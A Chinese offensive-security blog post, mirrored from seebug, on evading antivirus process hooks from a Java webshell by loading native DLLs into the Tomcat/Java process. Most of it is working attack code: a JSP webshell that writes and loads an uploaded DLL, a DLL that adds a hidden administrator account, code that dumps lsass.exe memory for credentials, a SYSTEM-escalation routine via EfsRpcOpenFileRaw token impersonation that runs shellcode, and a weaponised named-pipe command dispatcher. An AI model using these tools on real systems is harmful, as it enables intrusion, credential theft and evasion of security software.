4

通过动态链接库绕过反病毒软件 Hook - Break JVM

 2 years ago
source link: https://paper.seebug.org/1953/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

作者:倾旋
原文链接:https://payloads.online/archivers/2022-08-11/1/

通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截.....

0x00 前言

通常情况下获得Java Webshell碰到数字杀毒的场景居多,在这个环境中经常会遇到无法执行命令或命令被拦截的情况,很多小伙伴遇到这个问题就劝退了,我猜测是有一套进程链的检测方式导致了命令无法执行,于是去查看Java的文档,查阅到Java能够加载动态链接库且能够执行动态链接库中的代码,本文演示如何利用Java加载动态链接库的方式实现绕过了数字杀毒的拦截,但在演示之前,需要铺垫一些基础知识,如:猜想的进程链、Windows错误代码、Java加载动态链接库常见的三种办法、Windows动态链接库、土豆提权原理、命名管道技术等。

0x01 猜想的进程链

在获取Webshell以后,一般执行命令都会调用 Runtime.exec ,当然也有其他的命令执行方式,这里不再讨论,执行的命令一般分为两种:

  • 系统自带的PE文件,后面跟上参数
  • CMD或Powershell中内置的命令

例如:dir 命令与forfiles命令,这两个命令都可以列出文件夹内的文件,但要执行 dir 需要启动 cmd.exe 或者 powershell.exe ,执行的过程中进程链就像这样:

img

在这个过程里,进程的链是java.exe创建了cmd.exe ,那么很容易就能发现问题,每执行一条命了都会创建一个cmd.exe 的进程。从Runtime.exec 执行命令到Windows API CreateProcess 创建cmd.exe这个进程是通过JVM翻译过来的,数字杀毒会Hook CreateProcess API达到监控拦截的目的。

而forfiles是一个PE文件,不是CMD内置的命令,所以不需要创建cmd.exe也可以执行,它的进程链会是这样:

img

达到了同样的目的,但是没有创建cmd.exe ,为了体验上的考量现在的大部分Webshell管理工具执行命令都是要创建cmd.exe的,那么如何让我们的操作都不创建cmd.exe呢?

其实只需要改一下原来的小马即可:

public static void main(String[] args) {
    try {
                // String cmdStr = "cmd.exe /c forfiles.exe /p C:\\" ;
        String cmdStr = "forfiles.exe /p C:\\" ;
        Runtime.getRuntime().exec(cmdStr);
    }catch(Exception e){
        e.printStackTrace();
    }
}

这样虽然不会创建进程,但大部分命令还是会拦截,例如:net.exe net1.exe

img

0x02 Windows错误代码

经常会遇到一些Windows下的工具刨出Error Code 5,到底代表什么意思?

这个Error Code 5其实是Windows的错误代码,每一个代码都代表了不同的含义。

查询错误代码的含义可以通过 net helpmsg 命令:

img

Visual Studio 有一个工具可以查询错误代码,名为errlookup:

img

img

有的时候Webshell管理工具并没有直接给出错误代码的含义,而是直接抛出错误代码,这种情况就能使用命令或者工具去查询,了解错误的发生到底是因为什么问题。

0x03 Java加载动态链接库常见的三种办法

Java加载动态链接库常见的有三种办法:

  • System.load / System.loadLibrary
  • Runtime.getRuntime().load
  • com.sun.glass.utils.NativeLibLoader.loadLibrary
private void RuntimeLoad(String path){
    Runtime.getRuntime().load(path);
}

private void SystemLoad(String path){
    System.load(path);
}

// 有些JDK版本没有这个对象,因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
    Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
    if(Native != null){
        java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
        Load.invoke(path);
    }
}

第三种有些JDK版本没有这个对象,因此采用反射加载进行运行。

大致流程如下:

System.load` → `Runtime.getRuntime**()**.load0**()**` → `ClassLoader.loadLibrary` → `NativeLibrary.load` → `native void load*(*String name, boolean isBuiltin*)*

我实现了一个简单版本的DLL加载JSP代码,确保每一个请求都可以加载一个DLL模块到Java进程中:

<jsp:declaration>
// 获取随机的动态链接库文件名称
private String getFileName(){
    String fileName = "";
    java.util.Random random = new java.util.Random(System.currentTimeMillis());
    String os = System.getProperty("os.name").toLowerCase();
    if (os.contains("windows")){
        fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
    }else {
        fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
    }
    return fileName;
}

// JSP 声明函数中无法获取全局默认的ServletRequest对象,但ServletRequest继承java.io.InputStream,可以替代
public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
    sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
    java.io.File file = new java.io.File(getFileName());
    java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
    fos.write(b.decodeBuffer(stream));
    fos.close();
    return file.getAbsolutePath();
}

private void RuntimeLoad(String path){
    Runtime.getRuntime().load(path);
}

private void SystemLoad(String path){
    System.load(path);
}

// 有些JDK版本没有这个对象,因此采用反射加载进行运行
private void NativeLoad(String path) throws Exception{
    Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
    if(Native != null){
        java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
        Load.invoke(path);
    }
}
</jsp:declaration>

<jsp:scriptlet>
    // 加载方式
    String method = request.getHeader("WWW-Authenticate");

    try{
        ServletInputStream stream = request.getInputStream();
      if (stream.available() == 0){
          out.println(System.getProperty("os.arch"));
          return;
      }
      String file =  UploadBase64DLL(stream);
      // 按照Header头选择加载方式
      switch (method){
          case "1":
              RuntimeLoad(file);
              break;
          case "2":
              SystemLoad(file);
              break;
          case "3":
              NativeLoad(file);
              break;
          default:
              RuntimeLoad(file);
              break;
      }
    }catch (Exception e){
        System.out.println(e.toString());
    }
</jsp:scriptlet>

0x04 Windows 动态链接库

DLL(Dynamic Link Library)文件为动态链接库文件,又称“应用程序拓展”,是软件文件类型。 在Windows中,许多应用程序并不是一个完整的可执行文件,它们被分割成一些相对独立的动态链接库,即DLL文件,放置于系统中。在Windows平台下,我们使用的应用程序中的功能其实大多都很相似,窗口调用窗口的模块,分配内存调用内存管理的模块,文件操作调用IO模块,这些模块在Windows里的具体表现就是DLL文件。

在之前的文章中有简单总结过Dll的一些知识,这里就不做详细介绍了:

在Windows操作系统中,每一个进程加载一个DLL都会默认执行DLLMain函数,利用这个加载的特性我们可以在Java.exe进程中做一些敏感操作,并且这个进程是白名单、签名的。

0x05 实战绕过数字杀毒添加用户

前提条件:

  • 有一个管理员权限的Webshell
  • 编写一个添加用户的DLL

首先上传之前写好的专门用于加载DLL的JSP文件,然后编写一个添加用户的DLL文件:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <string.h>
#include <lmaccess.h>
#include <lmerr.h>
#include <Tchar.h>
#pragma comment(lib,"netapi32.lib")

DWORD CreateAdminUserInternal(void)
{
    NET_API_STATUS rc;
    BOOL b;
    DWORD dw;

    USER_INFO_1 ud;
    LOCALGROUP_MEMBERS_INFO_0 gd;
    SID_NAME_USE snu;

    DWORD cbSid = 256;  // 256 bytes should be enough for everybody :)
    BYTE Sid[256];

    DWORD cbDomain = 256 / sizeof(TCHAR);
    TCHAR Domain[256];

    //
    // Create user
    // http://msdn.microsoft.com/en-us/library/aa370649%28v=VS.85%29.aspx
    //

    memset(&ud, 0, sizeof(ud));

    ud.usri1_name = (LPWSTR)TEXT("audit");                      // username
    ud.usri1_password = (LPWSTR)TEXT("Test123456789!");             // password
    ud.usri1_priv = USER_PRIV_USER;                 // cannot set USER_PRIV_ADMIN on creation
    ud.usri1_flags = UF_SCRIPT | UF_NORMAL_ACCOUNT; // must be set
    ud.usri1_script_path = NULL;

    rc = NetUserAdd(
        NULL,           // local server
        1,              // information level
        (LPBYTE)&ud,
        NULL            // error value
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetUserAdd FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

    //
    // Get user SID
    // http://msdn.microsoft.com/en-us/library/aa379159(v=vs.85).aspx
    //

    b = LookupAccountName(
        NULL,           // local server
        _T("audit"),    // account name
        Sid,            // SID
        &cbSid,         // SID size
        Domain,         // Domain
        &cbDomain,      // Domain size
        &snu            // SID_NAME_USE (enum)
    );

    if (!b) {
        dw = GetLastError();
        _tprintf(_T("LookupAccountName FAIL %d 0x%08x\r\n"), dw, dw);
        return dw;
    }

    //
    // Add user to "Administrators" local group
    // http://msdn.microsoft.com/en-us/library/aa370436%28v=VS.85%29.aspx
    //

    memset(&gd, 0, sizeof(gd));

    gd.lgrmi0_sid = (PSID)Sid;

    rc = NetLocalGroupAddMembers(
        NULL,                   // local server
        _T("Administrators"),
        0,                      // information level
        (LPBYTE)&gd,
        1                       // only one entry
    );

    if (rc != NERR_Success) {
        _tprintf(_T("NetLocalGroupAddMembers FAIL %d 0x%08x\r\n"), rc, rc);
        return rc;
    }

    return 0;
}


BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateAdminUserInternal();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在DllMain函数中调用CreateAdminUserInternal实现添加管理员用户audit。将dll文件进行base64编码,发送到加载动态链接库的jsp页面,就可以绕过数字杀毒添加用户了:

img

发送之前:

img

发送之后:

img
img

至此管理员用户添加成功。

当DLL的编译架构与Java进程的位数不同,加载会失败,抛出:Can't load AMD 64-bit .dll on a IA 32-bit platform。

img

这个问题只需要调整DLL的编译架构就行:

img

同样的我们还可以调用comsvcs.dll导出的MiniDumpW转储lsass.exe进程的内存。

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

bool EnableDebugPrivilege()
{
    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    CloseHandle(hToken);
    CloseHandle(hThis);
    return true;
}

int Dump() {
    EnableDebugPrivilege();
    WCHAR commandLine[MAX_PATH];
    _MiniDumpW MiniDumpW;
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    //遍历lsass.exe 的PID
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    _itow(lsassPID, commandLine, 10);
    lstrcatW(commandLine, L" C:\\Windows\\Temp\\111.sql full");
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

编译成DLL文件发送过去后,我们可以看到Tomcat.exe或者Java.exe的Debug权限已经被开启:

img

C:\Windows\Temp目录下已经生成进程的内存转储文件。

注意:如果Tomcat是以SERVICE账户启动的,那么直接加载DLL会造成Tomcat直接崩溃无法工作,这些敏感操作的失败会引发系统的错误处理程序,最终导致Tomcat进程关闭,在实战中应根据业务的重要程度谨慎操作。

img

为了避免类似的风险情况,我增加了权限判断、重复转储判断:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <DbgHelp.h>
#include <iostream>
#include <TlHelp32.h>
#pragma comment( lib, "Dbghelp.lib" )
#define _CRT_SECURE_NO_WARNINGS

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

BOOL CheckPrivilege() {
    BOOL state;
    SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
    PSID AdministratorsGroup;

    state = AllocateAndInitializeSid(
        &NtAuthority,
        2,
        SECURITY_BUILTIN_DOMAIN_RID,
        DOMAIN_ALIAS_RID_ADMINS,
        SECURITY_LOCAL_SYSTEM_RID, DOMAIN_GROUP_RID_ADMINS,0, 0, 0, 0,
        &AdministratorsGroup);
    if (state)
    {
        if (!CheckTokenMembership(NULL, AdministratorsGroup, &state))
        {
            state = FALSE;
        }
        FreeSid(AdministratorsGroup);
    }

    return state;
}

BOOL EnableDebugPrivilege()
{

    HANDLE hThis = GetCurrentProcess();
    HANDLE hToken;
    OpenProcessToken(hThis, TOKEN_ADJUST_PRIVILEGES, &hToken);
    LUID luid;
    LookupPrivilegeValue(0, TEXT("seDebugPrivilege"), &luid);
    TOKEN_PRIVILEGES priv;
    priv.PrivilegeCount = 1;
    priv.Privileges[0].Luid = luid;
    priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL isEnabiled = AdjustTokenPrivileges(hToken, false, &priv, sizeof(priv), 0, 0);
    if (isEnabiled) {
        CloseHandle(hToken);
        CloseHandle(hThis);
        return TRUE;
    }
    return FALSE;
}

DWORD GetLsassPID() {
    DWORD lsassPID = 0;
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 processEntry = {};
    processEntry.dwSize = sizeof(PROCESSENTRY32);
    LPCWSTR processName = L"";
    //遍历lsass.exe 的PID
    if (Process32First(snapshot, &processEntry)) {
        while (_wcsicmp(processName, L"lsass.exe") != 0) {
            Process32Next(snapshot, &processEntry);
            processName = processEntry.szExeFile;
            lsassPID = processEntry.th32ProcessID;
        }
    }
    return lsassPID;
}

BOOL CheckFileExists(PWCHAR file) {
    WIN32_FIND_DATA FindFileData;
    HANDLE hFind = FindFirstFileEx(file, FindExInfoStandard, &FindFileData,FindExSearchNameMatch, NULL, 0);
    if (hFind == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    return TRUE;
}
int Dump() {
    WCHAR commandLine[MAX_PATH];
    WCHAR DumpFile[] = L"C:\\Windows\\Temp\\111.sql";
    _MiniDumpW MiniDumpW;
    DWORD lsassPID = 0;

    if (!CheckPrivilege()) {
        return -1;
    }

    if (!EnableDebugPrivilege()) {
        return -1;
    }


    if (CheckFileExists(DumpFile)) {
        return 0;
    }

    lsassPID = GetLsassPID();
    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    _itow_s(lsassPID, commandLine, 10);
    lstrcatW(commandLine, L" ");
    lstrcatW(commandLine, DumpFile);
    lstrcatW(commandLine, L" full");
    MiniDumpW(0, 0, commandLine);
    return 0;
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        Dump();
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

首先判断权限是否是管理员或者SYSTEM权限,然后尝试启用SE_DEBUG权限,最后才进行转储,代码我上传到了Github仓库:https://github.com/Rvn0xsy/j2osWin

0x06 将Java进程进行权限提升

Tomcat 有三种权限运行模式:

img

● Local Service ● Network Service ● Users 默认安装好的Tomcat会自动运行在Local Service账户下,意味着权限很低,如果目标安装了数字杀毒,就更加难以实现提权。

解决办法:

  1. 利用System.LoadLibrary技术在Tomcat本身进程种执行任意代码
  2. 利用执行任意代码的特点来进行土豆提权
  3. 利用模拟Token创建执行Shellcode的线程,所有的交互通过Webshell与系统管道通信实现

0x06.1 EfsRpcOpenFileRaw 提权

土豆提权的原理:在Windows操作系统中,如果当前账户是Local Service/Network Service,那么大部分情况下会有一个令牌模拟的权限,当高权限连接到Service账户开启的服务时,Service账户就可以通过令牌模拟获取客户端的权限来执行任意代码。

注意:令牌模拟仅是将当前线程的Token进行临时替换为客户端的令牌,其次,土豆提权仅限于本地操作系统才能工作,域内一般发起请求的都是域账户,或有同一账户体系的可信网络内。

土豆提权中有一个关于MS-EFSR RPC接口的利用方式,通过创建一个命名管道,然后调用EfsRpcOpenFileRaw让SYSTEM特权账户连接到命名管道实现提权。@zcgonvh 公开了一个C#的利用代码,并且我还请教了他,这里感谢头像哥的解答。

创建命名管道部分实现代码:

if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION))
    {
        wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError());
        LocalFree(pwszPipeName);
        return;
    }
    // 设置安全描述符
    if (!ConvertStringSecurityDescriptorToSecurityDescriptorW(L"D:(A;OICI;GA;;;WD)", 1, &((&sa)->lpSecurityDescriptor), NULL))
    {
        wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d\n", GetLastError());
        LocalFree(pwszPipeName);
        return;
    }
    // 创建管道
    hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX | FILE_FLAG_OVERLAPPED, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa);
    if (hPipe == INVALID_HANDLE_VALUE) {
        return;
    }

    wprintf(L"[*] NamedPipe '%ls' listening...\n", pwszPipeName);
    // 一直等待客户端连接,方便持续调用
    for (;;) {
        if (ConnectNamedPipe(hPipe, NULL) > 0) {
            wprintf(L"[+] A client connected!\n");
            // 模拟客户端Token
            if (!ImpersonateNamedPipeClient(hPipe)) {
                // 如果无法模拟就断开连接
                DisconnectNamedPipe(hPipe);
                continue;
            }
            GetUserName(szUser, &dwSize);
            wprintf(L"[+] Impersonating dummy :) : %s\n\n\n\n", szUser);
            // 将特权Token赋值到全局变量中
            OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &g_hSystemToken);
            if (g_ShellcodeBuffer != NULL && g_dwShellcodeSize != 0) {
                // 如果Shellcode不为空,就开始创建线程执行
                ExecuteShellCodeWithToken(g_hSystemToken);
            }
            DisconnectNamedPipe(hPipe);
        }
    }

触发RPC连接实现代码:

  RPC_STATUS status;
    RPC_WSTR pszStringBinding;
    RPC_BINDING_HANDLE BindingHandle;

    status = RpcStringBindingCompose(
        NULL,
        (RPC_WSTR)L"ncacn_np",
        (RPC_WSTR)L"\\\\127.0.0.1",
        (RPC_WSTR)L"\\pipe\\lsass",
        NULL,
        &pszStringBinding
    );

    status = RpcBindingFromStringBinding(pszStringBinding, &BindingHandle);

    status = RpcStringFree(&pszStringBinding);

    RpcTryExcept{
        PVOID pContent;
        LPWSTR pwszFileName;
        pwszFileName = (LPWSTR)LocalAlloc(LPTR, MAX_PATH * sizeof(WCHAR));
        StringCchPrintf(pwszFileName, MAX_PATH, L"\\\\127.0.0.1/pipe/random\\C$\\x");

        long result;
        wprintf(L"[*] Invoking EfsRpcOpenFileRaw with target path: %ws\r\n", pwszFileName);
        result = EfsRpcOpenFileRaw(
            BindingHandle,
            &pContent,
            pwszFileName,
            0
        );

        status = RpcBindingFree(
            &BindingHandle                   // Reference to the opened binding handle
        );
        LocalFree(pwszFileName);
    }
        RpcExcept(1)
    {
        wprintf(L"RpcExcetionCode: %d\n", RpcExceptionCode());
        return FALSE;
    }RpcEndExcept

每次调用EfsRpcOpenFileRaw都会触发SYSTEM进程连接命名管道,然后再通过ImpersonateNamedPipeClient模拟SYSTEM进程的权限执行代码,当ImpersonateNamedPipeClient函数调用成功后,当前线程的Token其实已经变成了SYSTEM账户的,特权代码执行完成后还可以用RevertToSelf恢复到原来的线程Token。

在我实现成功后遇到数字杀毒会拦截提权的行为,其实很多土豆提权成功后,会复制一份Token去创建进程,一般调用CreateProcessWithToken和CreateProcessAsUser比较多,被拦截的时候会是这样:

img

因此常规的办法是不行了,于是请教了头像哥,他的回复与我想的一样,用高权限的Token去跑一个特权线程,利用这个特权线程去执行Shellcode。

void ExecuteShellCodeWithToken(HANDLE hToken) {
    HANDLE hThread = INVALID_HANDLE_VALUE;
    DWORD dwThreadId = 0;
    HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);
    PVOID Mptr = HeapAlloc(hHeap, 0, g_dwShellcodeSize);
    RtlCopyMemory(Mptr, g_ShellcodeBuffer, g_dwShellcodeSize);
    hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, CREATE_SUSPENDED, &dwThreadId);
    SetThreadToken(&hThread, hToken);
    ResumeThread(hThread);
}

思路如下:

  • 将Shellcode拷贝到可执行堆内存块中
  • 创建一个暂停的线程
  • 将特权Token设置覆盖掉暂停的线程Token
  • 恢复线程执行

成功执行Shellcode后的样子是这样的:

img

上线的User是SYSTEM,但是whoami是Local Service,这是因为当前线程是SYSTEM的,获取用户名的GetUserName API是以当前线程Token作为权限查询的,而创建进程时并不会直接复制模拟的特权Token,这个时候只需要使用CobaltStrike的进程注入到其他SYSTEM进程即可。解决完Local Service提权到SYSTEM被数字杀毒拦截的问题后,那就要思考如何做武器化了,因为在实战中不可能上传一个个DLL文件,我需要把所有的代码写到一个DLL中,通过控制JSP Webshell的参数来达到各种功能的调用。

0x07 武器化的思路与实现

所有的代码跑在Tomcat的进程里的,而且只能执行DLLMain,那么怎么通过某种技术可以使得发送一个Web请求就执行DLL中的一些功能呢?

这个问题其实并没有难倒我,最简单的办法是用文件传递参数,每个Web请求过来后往文件中写内容,然后DLLMain里写一个循环读取也可以,但是文件的读写容易被干扰,并且涉及到线程的控制,稍微干扰一下就产生读写问题,容错率不高。

最终我采用了管道的形式,在DLLMain被执行时就创建一个命名管道,每个请求会连接管道往里写入16进制的单字节指令。

部分代码:

for (;;) {
        if (ConnectNamedPipe(hPipe, NULL) > 0) {
            CHAR szBuffer[BUFF_SIZE];
            BYTE  bMethod; // 操作方法
            ZeroMemory(szBuffer, BUFF_SIZE);
            wprintf(L"[+] Client Connected...\n");
            // 读取操作方法
            ReadFile(hPipe, &bMethod, 1, &dwLen, NULL);
            switch (bMethod)
            {
            case METHOD_WMI_CREATE_PROCESS:
                /// <summary>
                /// 调用WMIC创建进程,无回显
                /// 参数:process
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
                CheckSuccessAndSendMsg(WMICCreateProcess(char2wchar(szBuffer)), hPipe);
                break;
            case METHOD_MINIDUMP_LSASS:
                /// <summary>
                /// 高权限的情况下转储Lsass进程内存
                /// 参数:dump
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(MiniDumpLsass(), hPipe);
                break;
            case METHOD_ADD_USER:
                /// <summary>
                /// 高权限的情况下添加用户
                /// 参数:user
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(CreateAdminUserInternal(), hPipe);
                break;
            case METHOD_SHELL_CODE_LOADE:
                /// <summary>
                /// 执行Shellcode
                /// 参数:code
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
                CheckSuccessAndSendMsg(ExecuteShellCode(szBuffer, dwLen), hPipe);
                break;
            case METHOD_GETSYSTEM:
                /// <summary>
                /// 创建命名管道
                /// 参数:system
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(Service2System(), hPipe);
                break;
            case METHOD_SYSTEM_EXECUTE:
                /// <summary>
                /// 触发RPC连接提权管道
                /// 参数:system-run
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                CheckSuccessAndSendMsg(Execute(), hPipe);
                break;
            case METHOD_SET_SYSTEM_SHELLCODE:
                /// <summary>
                /// 设置全局Shellcode
                /// 参数:system-code
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                ZeroMemory(szBuffer, BUFF_SIZE);
                ReadFile(hPipe, szBuffer, BUFF_SIZE, &dwLen, NULL);
                g_ShellcodeBuffer = new char[dwLen];
                RtlCopyMemory(g_ShellcodeBuffer, szBuffer, dwLen);
                g_dwShellcodeSize = dwLen;
                break;
            case METHOD_UNSET_SYSTEM_SHELLCODE:
                /// <summary>
                /// 清空全局Shellcode
                /// 参数:system-uncode
                /// </summary>
                /// <param name=""></param>
                /// <returns></returns>
                g_dwShellcodeSize = 0;
                g_ShellcodeBuffer = NULL;
                break;

            default:

                break;
            }
            // 关闭连接
            DisconnectNamedPipe(hPipe);
        }

METHOD开头的常量代表了不同的功能:

#define PIPE_NAME L"\\\\.\\pipe\\josPipe"
#define BUFF_SIZE 1024
#define METHOD_WMI_CREATE_PROCESS 0x00 // WMIC 创建进程
#define METHOD_SHELL_CODE_LOADE 0x01  // SHELLCODE 加载
#define METHOD_MINIDUMP_LSASS 0x02   // 转储Lsass.exe
#define METHOD_ADD_USER 0x03  // 添加用户
#define METHOD_GETSYSTEM 0x04  // 利用EFS获取SYSTEM的Token
#define METHOD_SYSTEM_EXECUTE 0x05 // 以SYSTEM权限执行命令
#define METHOD_SET_SYSTEM_SHELLCODE 0x07 // 设置Shellcode
#define METHOD_UNSET_SYSTEM_SHELLCODE 0x08 // 取消设置Shellcode

Java Webshell的改造代码如下:

<%@ page import="java.io.RandomAccessFile" %>
<%!
    private String getFileName(){
        String fileName = "";
        java.util.Random random = new java.util.Random(System.currentTimeMillis());
        String os = System.getProperty("os.name").toLowerCase();
        if (os.contains("windows")){
            fileName = "C:\\Windows\\Temp\\" + random.nextInt(10000000) + ".dll";
        }else {
            fileName = "/tmp/"+ random.nextInt(10000000) + ".so";
        }
        return fileName;
    }

    public String UploadBase64DLL(java.io.InputStream stream) throws Exception {
        sun.misc.BASE64Decoder b = new sun.misc.BASE64Decoder();
        java.io.File file = new java.io.File(getFileName());
        java.io.FileOutputStream fos = new java.io.FileOutputStream(file);
        fos.write(b.decodeBuffer(stream));
        fos.close();
        return file.getAbsolutePath();
    }

    private void RuntimeLoad(String path){
        Runtime.getRuntime().load(path);
    }

    private void SystemLoad(String path){
        System.load(path);
    }

    private void NativeLoad(String path) throws Exception{
        Class Native = Class.forName("com.sun.glass.utils.NativeLibLoader");
        if(Native != null){
            java.lang.reflect.Method Load = Native.getDeclaredMethod("loadLibrary",String.class);
            Load.invoke(path);
        }
    }
//</jsp:declaration>
%>

<%
    String pipeName = "\\\\.\\pipe\\josPipe";
    try{
        String method = request.getHeader("WWW-Authenticate");
        if(method == null){
            out.println("Start");
            return;
        }
        if (method.equals("load")){
            ServletInputStream stream = request.getInputStream();
            String file =  UploadBase64DLL(stream);
            RuntimeLoad(file);
        }else if (method.equals("dump")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x02);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("process")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x00);
            pipe.write(request.getHeader("Content-Method").getBytes());
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("user")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x03);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("code")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x01);
            pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("system")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x04);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("system-run")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x05);
            if(pipe.readByte() == 0x01){
                out.println("OK");
            }else{
                out.println("Failed");
            }
            pipe.close();
        }else if (method.equals("system-code")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x07);
            pipe.write(new sun.misc.BASE64Decoder().decodeBuffer(request.getInputStream()));
            pipe.close();
        }else if (method.equals("system-uncode")){
            RandomAccessFile pipe = new RandomAccessFile(pipeName, "rw");
            pipe.write(0x08);
            pipe.close();
        }

    }catch (Exception e){
        System.out.println(e.toString());
    }
%>

java.io.RandomAccessFile可以读写命令管道,通过修改Header头WWW-Authenticate来控制不同的功能,每个功能都有一个16进制的编号,剩余的Body内容将会被放到其他内存区域,以供功能函数调用读取,如此以来解决了每个请求都可以执行不同功能的问题,只发送一次DLL就可以将DLL模块打入Tomcat/Java进程的内存中执行,并且利用管道读写的特性也能够实现数据的回显,这个已经在示例代码中体现出来了。

SERVICE提权到SYSTEM权限并执行任意代码的流程示例图如下:

img

公开的DLL模块代码:https://github.com/Rvn0xsy/j2osWin

